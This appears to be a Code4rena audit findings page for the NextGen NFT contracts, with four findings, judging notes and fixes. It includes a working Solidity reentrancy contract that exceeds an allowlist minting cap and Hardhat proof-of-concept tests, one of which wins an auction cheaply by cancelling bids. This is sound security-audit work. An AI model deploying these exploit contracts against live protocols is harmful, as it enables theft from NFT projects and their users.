Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 151/243
Findings: 4
Award: $2.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
User is able to bypass the limitation and mint NFTs exceeding the cap.
Any qualified user can call NextGenMinterContract#mint()
to mint a certain number of NFTs during the allowlist phase of one Collection.
merkleProof
is used to verifed if the user is qulified. The qualified user can delegate the minting right to another account.
The number of NFTs a qualified user can mint can not exceed _maxAllowance
:
213: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
217: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
The value of _maxAllowance
has been finalized when calculating merkleRoot
of the collection.
Once all requirements met, NextGenCore#mint()
is called to mint NFT to the receiver.
However, due to a reentrancy vulnerability, a qualified user can create a malicious smart contract, delegate it as minter and mint as much NFTs as possible:
193: _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); 194: if (phase == 1) { 195: tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; 196: } else { 197: tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; 198: }
The root cause is that the number a user has minted didn't increase before NFT minting, which left a reentrancy vulnerability.
Below is a example of Reentrancy smart contract:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./IERC721Receiver.sol"; interface INextGenMinterContract { function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable; function getPrice(uint256 _collectionId) external view returns (uint256); } contract Reentrancy is IERC721Receiver { address public minterContract; uint256 collectionID; uint256 numberOfTokens; uint256 maxAllowance; string tokenData; address mintTo; bytes32[] merkleProofA; address delegator; uint256 saltfun_o; uint256 totalMinted; constructor(address _minterContract) payable { minterContract = _minterContract; } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { if (totalMinted >= 40) { return IERC721Receiver.onERC721Received.selector; } else { totalMinted += 1; INextGenMinterContract(minterContract).mint{value: INextGenMinterContract(minterContract).getPrice(collectionID)}(collectionID, 1, maxAllowance, tokenData, address(this), merkleProofA, delegator, saltfun_o); return IERC721Receiver.onERC721Received.selector; } } function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable { totalMinted = _numberOfTokens; collectionID = _collectionID; numberOfTokens = _numberOfTokens; maxAllowance = _maxAllowance; tokenData = _tokenData; merkleProofA = merkleProof; delegator = _delegator; saltfun_o = _saltfun_o; INextGenMinterContract(minterContract).mint{value: msg.value}(_collectionID, _numberOfTokens, _maxAllowance, _tokenData, address(this), merkleProof, _delegator, _saltfun_o); } }
Copy below cods into nextGen.test.js and run npx hardhat test
:
it("#Reentrancy attack", async function () { await contracts.hhCore.createCollection( "Test Collection 5", "Artist 5", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) await contracts.hhCore.setCollectionData( 5, // _collectionID signers.addr1.address, // _collectionArtistAddress 10, // _maxCollectionPurchases 200, // _collectionTotalSupply 1000, // _setFinalSupplyTimeAfterMint ) await contracts.hhCore.addRandomizer( 5, contracts.hhRandomizer, ) await contracts.hhMinter.setCollectionCosts( 5, // _collectionID BigInt(1000000000000000000), // _collectionMintCost 1 eth 0, 0, 0, 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) await contracts.hhMinter.setCollectionPhases( 5, // _collectionID 1800000000, // _allowlistStartTime 1900000000, // _allowlistEndTime 1900000001, // _publicStartTime 2000000000, // _publicEndTime "0x0b717416f15283010e2d98f1bbdb7b2f9abf9ed0c72b7f1f5c61911662992647", // _merkleRoot ) //@audit-info addr3 deploy Reentrancy smart contract with 30 ether let Reentrancy = await ethers.getContractFactory("Reentrancy") let reentrancy = await Reentrancy.connect(signers.addr3).deploy(await contracts.hhMinter.getAddress(), {value: "38000000000000000000"}) //@audit-info register deployed reentrancy as delegatee of addr3 await contracts.hhDelegation.connect(signers.addr3).registerDelegationAddress( "0x8888888888888888888888888888888888888888", reentrancy.getAddress(), 2000000000, 1, true, 0 ) //@audit-info Start allow list sale await network.provider.send("evm_setNextBlockTimestamp", [1800000000]) //@audit-info addr3 mint token through reentrancy smart contract await reentrancy.connect(signers.addr3).mint( 5, // _collectionID 2, // _numberOfTokens 2, // _maxAllowance '{"name":"hello"}', // _tokenData ["0xb0d96c69509384bd98691849996a4703764cebd4e1ab21b717fdf8534cb810f4", "0xea1792710cc9d8b35c46ddf816a9a9363f7d941fc04c2b55f5ec41f31c4c3a74"], // _merkleProof signers.addr3, // _delegator 2, //_varg0 { value: "2000000000000000000"} ) expect(await contracts.hhCore.balanceOf(reentrancy.getAddress())).to.be.equal(40) expect(await contracts.hhCore.retrieveTokensMintedALPerAddress(5, signers.addr3.address)).to.be.equal(40) })
Manual review
- _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
Reentrancy
#0 - c4-pre-sort
2023-11-20T12:48:33Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:00:04Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:36:25Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:27Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:22Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L124-L130 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L134-L143
Auction could be broken due to arbitrary cancelBid()
before auction ends. the auctioned NFT could be sold in an extremely low price, which causes the loss of auctioned NFT holder.
Bidders can call cancelBid()
or cancelAllBids()
at any time before the auction ends to cancel their bids. The auction process will be broken by this kind of action. Malicious user can bid with a extremely high value in the first to block other normal bidders, and cancel all their bids and get refund before the auction ends, then use a low bid to win the auction.
Copy below cods into nextGen.test.js and run npx hardhat test
:
it("#AuctionDemo Malicious user places high bids to block normal user", async function () { let AuctionDemo = await ethers.getContractFactory("auctionDemo") let auctionDemo = await AuctionDemo.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ) await contracts.hhCore.connect(signers.owner).setApprovalForAll(auctionDemo.getAddress(), true); let tokenId = ethers.toBigInt(await contracts.hhCore.viewTokensIndexMin(3)) + ethers.toBigInt(await contracts.hhCore.viewCirSupply(3)) await contracts.hhMinter.mintAndAuction(signers.owner.address, '{"tdh": "100"}', 1, 3, (await ethers.provider.getBlock('latest')).timestamp+3600); expect(await contracts.hhMinter.getAuctionStatus(tokenId)).to.be.equal(true); expect(await contracts.hhCore.ownerOf(tokenId)).to.be.equal(signers.owner.address); //@audit-info addr1 bids a high price 1 ether await auctionDemo.connect(signers.addr1).participateToAuction(tokenId, {value: "100000000000000000"}) let etherBalanceBefore = await ethers.provider.getBalance(signers.owner.address) await ethers.provider.send('evm_increaseTime', [3550]) //@audit-info addr1 cancel all bids before auction ends and get refund await auctionDemo.connect(signers.addr1).cancelAllBids(tokenId) //@audit-info addr1 bids again with a extremely low price since no other bidders await auctionDemo.connect(signers.addr1).participateToAuction(tokenId, {value: 10}) expect(await ethers.provider.getBalance(auctionDemo.getAddress())).to.be.equal(10) await ethers.provider.send('evm_increaseTime', [50]) await auctionDemo.connect(signers.addr1).claimAuction(tokenId) let etherBalanceAfter = await ethers.provider.getBalance(signers.owner.address) let auctionedPrice = etherBalanceAfter - etherBalanceBefore //@audit-info the auctioned NFT was sold in extremely low price expect(auctionedPrice).to.be.equal(10) expect(await contracts.hhCore.ownerOf(tokenId)).to.be.equal(signers.addr1.address) })
Manual review
Bidders should not be allowed to cancel their bids before auction ends, or only bidders other than the highest bidder can cancel their bids.
Other
#0 - c4-pre-sort
2023-11-15T08:56:56Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:13:06Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:16:37Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:49:45Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:26:27Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-08T17:28:16Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-08T18:17:23Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
1.3844 USDC - $1.38
https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L113 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/MinterContract.sol#L434-L438
auctionDemo#claimAuction()
.MinterContract#payArtist()
The mint and auction process of a NFT typically follows these steps:
mintAndAuction
is able to invoke mintAndAuction()
to mint a NFT and initiate an auction for it.auctionDemo#participateToAuction()
and providing a certain amount of ether as their bid.auctionDemo#claimAuction()
to withdraw the NFT, and the highest bid will be transferred to the owner of the NFT, while all other bidders will receive a refund.The problem is that attackers can craft a smart contract with a fallback()
function to participate auction. Attackers can bid on any NFT though the smart contract. Once the auction ends and the winner claims the NFT by calling auctionDemo#claimAuction()
, the refund of attackers will be transferred to the malicious smart contract and attackers can mint gas token though the smart contract.
auctionDemo#claimAuction()
is called, any bidder can steal gas from the winner or any admin who call this function.MinterContract#payArtist()
is called, the ether receiver have chance to steal gas from the caller.Manual review
Consider adding some functions, letting bidder or other user to PULL their assets from smart contract instead of let others PUSH ether to them. The alternative way is adding gas limitation on these calling.
call/delegatecall
#0 - c4-pre-sort
2023-11-20T12:49:12Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:51:45Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:52:10Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:55:30Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T00:22:02Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.4703 USDC - $0.47
Bidders's ether could be locked in auctionDemo
forever if the auctioned NFT is not claimed.
When auction ends, only global amdin or the winner can call claimAuction()
to claim the auctioned NFT, all refunds will be returned to all bidders except the winner by iterating through all elements in the array auctionInfoData[_tokenid]
. Other bidders have no way to get refund be themself. Moreover, claimAuction()
may revert if highestBidder
is smart contract which didn't implements IERC721Receiver.onERC721Received()
, and all ether received on this auction will be locked in the contract forever.
110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid); 115: } else if (auctionInfoData[_tokenid][i].status == true) { 116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 117: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 118: } else {} 119: }
Manual review
Adding a function to let bidders except the winner can get refund themself after the auction ends.
Other
#0 - c4-pre-sort
2023-11-15T08:57:37Z
141345 marked the issue as duplicate of #843
#1 - c4-pre-sort
2023-11-16T13:35:50Z
141345 marked the issue as duplicate of #486
#2 - c4-judge
2023-12-01T22:52:06Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T22:52:35Z
alex-ppg marked the issue as duplicate of #1759
#4 - c4-judge
2023-12-08T22:16:22Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)